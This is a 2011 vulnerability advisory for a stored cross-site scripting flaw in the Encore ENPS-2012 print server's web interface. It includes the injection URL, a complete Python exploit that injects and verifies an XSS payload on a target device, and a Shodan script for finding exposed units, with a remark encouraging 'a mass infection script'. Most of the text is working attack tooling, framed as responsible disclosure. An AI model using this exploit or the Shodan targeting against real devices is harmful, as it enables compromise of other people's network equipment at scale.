Encore ENPS-2012 - Cross-Site Scripting

GotGeek Labs
http://www.gotgeek.com.br/

Encore ENPS-2012 Cross-site Scripting Vulnerability



[+] Description

Encore 3-Port Print Server converts a standalone USB or a parallel printer into
a shared printer, through a wired Ethernet connection. As a result, you can save
the cost and space for additional printers. ENPS-2012 can connect up to 3
printers - using the 2 USB2.0 ports and 1 parallel port - that users can share
across the Internet or local area network (LAN). Printing on the shared printers
from anywhere on the Internet is as easy as printing from your own office.
For your convenience, ENPS-2012 comes with a friendly WEB-based configuration interface.
This device also supports multiple network protocols and operating systems, making
shared printing in mixed-LAN environments easy.



[+] Information

Title: Encore ENPS-2012 Cross-site Scripting Vulnerability
Shodan Dork: ZOT-PS-39/6.3.0008 -WWW-Authenticate
Advisory: gg-005-2011
Date: 03-15-2011
Last update: 03-26-2011
Link: http://www.gotgeek.com.br/pocs/gg-005-2011.txt



[+] Vulnerabilities

Stored Cross-site Scripting:
Web interface from ENPS-2012 Print Server is affected by stored cross-site scripting
vulnerability because it fails to properly sanitize user-supplied input at
"NDSContext" field in "NetWare NDS Settings" area.
An attacker may leverage this issue to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected site.

After injecting the XSS code, you need to access Netware status page.

XSS:
http://target/RESTART.HTM?NDSContext=</script><script>alert("xss")</script><script>

and then..

http://target/NETWARE.HTM


Affected Version:

Encore ENPS-2012 Print Server
Firmware: 6.03.39E 0008 (ZOT-PS-39/6.3.0008) 

Other versions may also be vulnerable.



[+] Proof of Concept/Exploit

##
#
# Exploit created for Encore ENPS-2012
# It can be easily modified to test other devices..
# or you can create a mass infection script using your shodan skills :)
#
##


# $ python enps-2012.py -t 10.1.1.245 -o 0 -s GOTGEEK
#
# [*] gotgeek labs
# [*] http://gotgeek.com.br
#
# [*] XSS Options:
# [*] 0 = alert('xss')
# [*] 1 = window.location='http://www.example.com/'
#
#
# [*] Checking print-server...
# [+] Seems to be print-server ENPS-2012
# [+] Injecting XSS code...
# [*] Wait while the print-server restarts
# [*] Checking XSS code...
# [+] XSS Injected!
#
# [*] Done!



#!/usr/bin/python
#

import sys, time
import httplib, socket
import urllib, re
from optparse import OptionParser

url = "/RESTART.HTM?PSName="
url2 = "&NDSContext="

usage = "./%prog -t <target> -o <xss number> -s <true str>\n"
usage+= "Example: ./%prog -t 10.1.1.1 -o 0 -s GOTGEEK"

parser = OptionParser(usage=usage)
parser.add_option("-t", action="store", dest="target",
                  help="target print-server")
parser.add_option("-o", action="store", dest="xss",
                  help="xss option")
parser.add_option("-s", action="store", dest="truestr",
                  help="true string to validate")
(options, args) = parser.parse_args()

def banner():
    print "\n[*] gotgeek labs"
    print "[*] http://gotgeek.com.br\n"
    print "[*] XSS Options:"
    print "[*] 0 = alert('xss')"
    print "[*] 1 = window.location='http://www.example.com/'\n\n"

if len(sys.argv) < 4:
    banner()
    parser.print_help()
    sys.exit(1)


def setxss():
    xss = [ '</script><script>alert("xss")</script><script>',
            '</script><script>window.location="http://www.example.com/"</script><script>' ]
    options.xss = xss[int(options.xss)]
    return options.xss


def checkurl():
    try:
        print "[*] Checking print-server..."
        conn = httplib.HTTPConnection(options.target)
        conn.request("GET", "/CNETWARE.HTM")
        r1 = conn.getresponse()
        if r1.status == 200:
            print "[+] Seems to be print-server ENPS-2012"
        else:
            print "[-] None Found!\n\n"
            sys.exit(1)
    except socket.error, msg:
        print "[-] Can't connect to the target!\n\n"
        sys.exit(1)


def injxss():
    try:
        print "[+] Injecting XSS code..."
        urllib.urlopen("http://"+options.target+url+options.truestr+url2+options.xss)
    except:
        print "[-] Can't connect to the target!\n\n"
        sys.exit(1)


def checkxss():
    print "[*] Wait while the print-server restarts"
    time.sleep(20)
    try:
        print "[*] Checking XSS code..."
        check = urllib.urlopen("http://"+options.target+"/NETWARE.HTM").read()
        if re.search(options.truestr,check):
            print "[+] XSS Injected!\n"
        else:
            print "[-] XSS NOT Injected!\n"
            sys.exit(1)
    except:
        print "[-] Can't connect to the target!\n\n"
        sys.exit(1)



def main():
    banner()
    setxss()
    checkurl()
    injxss()
    checkxss()
    print "[*] Done!\n\n"

if __name__ == "__main__":
    main()


#
##
#

# Looking for vulnerable devices using Shodan
# Encore, TP-Link and etc.
#

# $ python shodan_zot_ps.py 'ZOT-PS -WWW-Authenticate'
#
# [+] Results found: 2006
#
# xxx.xx.xx.xxx
# xxx.xx.xx.xxx
# xxx.xx.xx.xxx
# ...



#!/usr/bin/python
#

import sys
from shodan import WebAPI

SHODAN_API_KEY = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
api = WebAPI(SHODAN_API_KEY)

try:
    results = api.search(sys.argv[1])
    print "\n[+] Results found: %s\n" % results['total']
    for result in results['matches']:
        print result['ip']
    print ""
except Exception, e:
    print "Error: %s" % e



[+] Timeline

16-03-2011: first contact to vendor.
24-03-2011: second contact to vendor.
03-04-2011: no vendor response.
04-04-2011: advisory published.



[+] References

http://www.encore-usa.com/us/product/ENPS-2012



[+] Credits

b0telh0